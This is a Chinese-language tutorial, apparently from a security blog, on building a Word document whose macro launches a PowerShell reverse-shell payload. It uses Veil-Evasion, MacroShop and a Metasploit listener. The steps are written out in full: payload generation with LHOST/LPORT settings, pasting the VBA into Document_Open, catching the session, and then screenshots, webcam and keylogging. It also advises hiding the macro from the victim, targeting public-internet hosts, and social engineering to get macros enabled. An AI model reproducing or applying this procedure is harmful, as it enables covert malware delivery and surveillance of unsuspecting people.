【原创】利用Office宏实现powershell payload远控
本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器，然后使用MacroShop生成payload 相关的VBA代码，最后演示将VBA代码写入.doc文本文档的宏中。
环境：虚拟机_Kali
依赖：Veil-Evasion、MacroShop
0x00 安装Veil-Evasion、MacroShop (老鸟可绕过)
本例采用git 安装。
打开Veil-Evasion的github页面：https://github.com/Veil-Framework/Veil-Evasion
如上图所示，点击【Clone or download】，复制该URL。
在kali（本例为root权限）的Terminal下使用命令：
git clone https://github.com/Veil-Framework/Veil-Evasion.git
等待下载完毕后执行进入Veil-Evasion的目录进行安装。执行命令：
cd Veil-Evasion/
cd setup
./setup.sh -c
使用git方法下载之前需要安装git，方法是在执行命令：
apt-get -y install git
同理安装MacroShop（Github: https://github.com/khr0x40sh/MacroShop）。
0x01 Veil-Evasion 生成Batch
运行Veil-Evasion下的Veil-Evasion.py。
在menu下输入”list”查看可以生成的payload的对应标号。
本例要生成一个powershell的payload，使用tcp协议连接通信。
在menu下输入对应编号后回车。本例输入”24”。进入payload配置。
当前缺省配置为主机IP为空，监听端口为4444。接下来设置这两个参数。通过在Terminal下使用ifconfig得到本机IP，本例为172.22.195.135。
输入：
set LHOST 172.22.195.135(回车)
set LPORT 4118(回车)
这样我们就设置完毕了。可以使用info命令查看当前配置信息。
端口号的设置要在端口可用范围之内必开常用端口，以免出现占用情况。具体取值范围请参阅计算机网络。
接下来，使用generate命令生成该payload。
此时需要给这个payload文件命名，命名由用户任意决定。本例为d0main_payload。
生成成功后，注意记录payload(Payload File)的存储路径和句柄（Handler File）存储路径。
0x02 MacroShop生成VBA语句
在MacroShop下，执行命令：
./macro_safe.py Payload File 输出文本文档
本例为：
./macro_safe.py /usr/share/veil-output/source/d0main_payload.bat d0main.txt
这样，MacroShop就为我们在其程序目录下生成了一个.txt的文件，其中的内容为VBA的代码（是一个open方法，当启用宏是，这些代码将自动执行）。
可以使用vi d0main.txt看一下这个文本文档。
复制这个方法的主要语句，从Dim Command As String 到 Shell exec , VBAHide 即可。
0x03 创建宏
打开一个word文档，.doc或.docx。在【视图】选项卡中点击【宏】。
在【宏名】文本框中输入要创建的宏名（由用户自己定义），然后点击【创建】。
随机进入代码模式，点击左侧【Project】-->【Microsoft Word对象】-->【ThisDocument】（双击）。
在右侧打开的代码窗口中，点击左上方的下拉菜单选择【Document】，在右上方的下拉菜单中选择【Open】。然后粘贴刚刚复制的VBA代码。
注意粘贴代码时，只在Private Sub Document_Open()和End Sub之间粘贴。
点击保存之后就可以关闭了。至此，生成了一个用office宏实现的带有payload的word文档。
0x04 msfconsole下监听
回到kali，在Terminal执行命令：
Msfconsole -r 句柄文件
这样便开启对powershell payload的监听。
0x06上线与远控
保证监听器处于启动状态，如果上面我们创建的word文档被打开并启用宏，监听器将收到上线信号。等待几秒钟后，产生一个会话（本例为会话1）。
在msf exploit(handler)下输入：sessions -i 会话号（回车）
这里的会话号必须是上线了的会话号。
然后就可以进行远控操作了，例如查看系统信息、截屏、查看进程管理器、关闭进程、打开摄像头、记录键盘等等。
说明：
本文选择在虚拟机和宿主机之间进行演示，如果需要远控公网上的目标，应该在LHOST填写自己的公网IP。我们可以借助花生壳来完成。
可能有人会说，【视图】选项卡下面的【宏】会暴露我们自己创建的宏，比如本例中的NewPayload。其实这个宏可以在创建它的地方（见0x03）再将其删除掉。这样操作并不会让我们的payload失效。这样即使对方去【宏】中查找也不会在列表中找到我们生成的宏。
除了早期的office版本外，大多数Office版本默认不启用宏，因此第一次打开带有宏的文档时，会被询问是否“启用内容”，为了让对方启用宏，我们可以使用一些特殊手段比如社工等。这里不做赘述。
Payload上线后，打开Win这一端会启动一个powershell进程，可以在任务管理器中看到。如果主动去结束这个进程，远控即会掉线。
